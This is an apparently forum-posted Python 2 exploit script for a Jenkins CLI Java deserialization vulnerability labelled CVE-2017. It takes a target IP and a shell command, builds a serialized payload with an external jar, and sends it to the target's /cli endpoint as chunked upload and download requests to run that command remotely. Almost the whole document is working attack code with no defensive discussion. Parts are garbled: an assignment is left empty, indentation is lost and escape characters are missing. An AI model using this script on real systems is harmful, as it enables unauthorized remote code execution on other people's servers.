Jenkins反序列化漏洞cve-2017
# -*- coding: utf-8 -*-"""
援引自:https://7f52.com/?p=450
重构人：陈然
公司：360企业安全集团
"""
#需要引入的库文件
import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser
#全局变量定义：
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<======>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3)
#全局函数定义
def Payload_Init(command):
global File_Serialization
command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
print command
return_number = os.system(command)
if return_number != 0:
print "Call Jar Packet To Init The Payload Error"
exit(0)
File_Serialization = open("./payload.ser","rb").read()
def Download(url,session):
headers = {'Side':'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
try:
response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
except Exception,ex:
print ex
exit(0)
print response.content
'''
def Upload(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
try:
response = requests.post(url,data=data,headers=headers,proxies=Proxy)
except Exception,ex:
print ex
exit(0)
'''
def Upload_Chunked(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
try:
response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
except Exception,ex:
print ex
exit(0)
def Null_Payload():
yield " "
"""
def Create_Payload():
payload = Premle + Proto + File_Serialization
return payload
"""
def Create_Payload_Chunked():
yield Premle
yield Proto
yield File_Serialization
def Attack():
print "start"
session = str(uuid.uuid4())
thread_object = threading.Thread(target=Download,args=(Target,session))
thread_object.start()
time.sleep(1)
print "pwn"
#Upload(URL, session, create_payload())
Upload_Chunked(Target,session,"asdf")
#程序入口
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-t","--target",dest="target",help="Target IP address!")
parser.add_option("-c","--command",dest="command",help="The command to execute!")
parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
(options, args) = parser.parse_args()
optionslist =
if None in optionslist or "" in optionslist:
print "Please check your input parameters!"
Target = Target%options.target
command = options.command
protocol = options.protocol
if protocol == "HTTP":
pass
elif protocol == "HTTPS":
Target = Target.replace("http","https")
else:
print "Unknown Protocol!"
Payload_Init(command)
Attack()
页:
[1]